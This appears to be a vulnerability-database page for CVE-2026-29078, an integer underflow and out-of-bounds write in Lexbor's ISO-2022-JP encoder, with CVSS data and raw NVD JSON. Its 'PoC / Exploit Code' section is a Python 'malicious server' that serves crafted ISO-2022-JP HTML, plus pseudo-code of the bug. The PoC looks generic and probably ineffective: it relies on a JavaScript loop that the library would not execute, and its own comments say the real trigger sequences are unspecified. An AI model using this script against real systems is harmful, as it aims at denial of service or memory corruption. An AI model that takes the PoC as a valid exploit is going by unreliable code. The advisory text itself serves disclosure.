Security Vulnerability Report
中文
CVE-2026-29078 CVSS 7.5 HIGH

CVE-2026-29078

Published: 2026-03-13 19:54:33
Last Modified: 2026-03-18 20:28:11

Description

Lexbor is a web browser engine library. Prior to 2.7.0, the ISO‑2022‑JP encoder in Lexbor fails to reset the temporary size variable between iterations. The statement ctx->buffer_used -= size with a stale size = 3 causes an integer underflow that wraps to SIZE_MAX. Afterwards, memcpy is called with a negative length, leading to an out‑of‑bounds read from the stack and an out‑of‑bounds write to the heap. The source data is partially controllable via the contents of the DOM tree. This vulnerability is fixed in 2.7.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:lexbor:lexbor:*:*:*:*:*:*:*:* - VULNERABLE
Lexbor < 2.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import http.server import threading # Simple PoC HTTP server to trigger the vulnerability # This demonstrates how an attacker could serve malicious HTML content class CVE202629078Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Crafted HTML with ISO-2022-JP characters to trigger buffer underflow malicious_html = '''<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-2022-JP"> </head> <body> <script> // This PoC demonstrates the vulnerability trigger condition // The actual exploitation requires specific character sequences // that cause the encoder to fail to reset the temporary size variable const iso2022jpChars = "\x1b$B"; // ISO-2022-JP escape sequence // Trigger condition: multiple iterations without size reset for(let i = 0; i < 1000; i++) { // Force encoder to process characters document.write(iso2022jpChars + "A"); } </script> </body> </html>''' self.send_response(200) self.send_header('Content-Type', 'text/html; charset=ISO-2022-JP') self.end_headers() self.wfile.write(malicious_html.encode('iso-2022-jp')) def start_server(port=8080): server = http.server.HTTPServer(('0.0.0.0', port), CVE202629078Handler) print(f"Malicious server running on port {port}") server.serve_forever() if __name__ == "__main__": # Start the malicious server start_server() # Vulnerable code pattern (pseudo-code): # # lxb_html_encoder_res_t *ctx = ...; # size_t size; # while (condition) { # // BUG: size is not reset between iterations # ctx->buffer_used -= size; // size still holds old value (3) # // This causes integer underflow when ctx->buffer_used < size # // ctx->buffer_used wraps to SIZE_MAX # # memcpy(dest, src, ctx->buffer_used); // Negative/critical length # // Results in OOB read from stack and OOB write to heap # } # Trigger conditions: # 1. Lexbor version < 2.7.0 # 2. Processing HTML content with ISO-2022-JP charset # 3. DOM tree containing specific character sequences # 4. Multiple encoding iterations without proper state reset

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29078", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:32.550", "lastModified": "2026-03-18T20:28:10.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lexbor is a web browser engine library. Prior to 2.7.0, the ISO‑2022‑JP encoder in Lexbor fails to reset the temporary size variable between iterations. The statement ctx->buffer_used -= size with a stale size = 3 causes an integer underflow that wraps to SIZE_MAX. Afterwards, memcpy is called with a negative length, leading to an out‑of‑bounds read from the stack and an out‑of‑bounds write to the heap. The source data is partially controllable via the contents of the DOM tree. This vulnerability is fixed in 2.7.0."}, {"lang": "es", "value": "Lexbor es una biblioteca de motor de navegador web. Antes de 2.7.0, el codificador ISO?2022?JP en Lexbor no logra restablecer la variable de tamaño temporal entre iteraciones. La instrucción ctx-&gt;buffer_used -= size con un tamaño obsoleto = 3 causa un desbordamiento negativo de enteros que se ajusta a SIZE_MAX. Posteriormente, se llama a memcpy con una longitud negativa, lo que lleva a una lectura fuera de límites de la pila y una escritura fuera de límites en el montón. Los datos de origen son parcialmente controlables a través del contenido del árbol DOM. Esta vulnerabilidad está corregida en 2.7.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-191"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lexbor:lexbor:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.0", "matchCriteriaId": "431D7C04-4D6F-4F52-8EAA-60DD304831BD"}]}]}], "references": [{"url": "https://github.com/lexbor/lexbor/security/advisories/GHSA-mrwr-xh7f-96v3", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}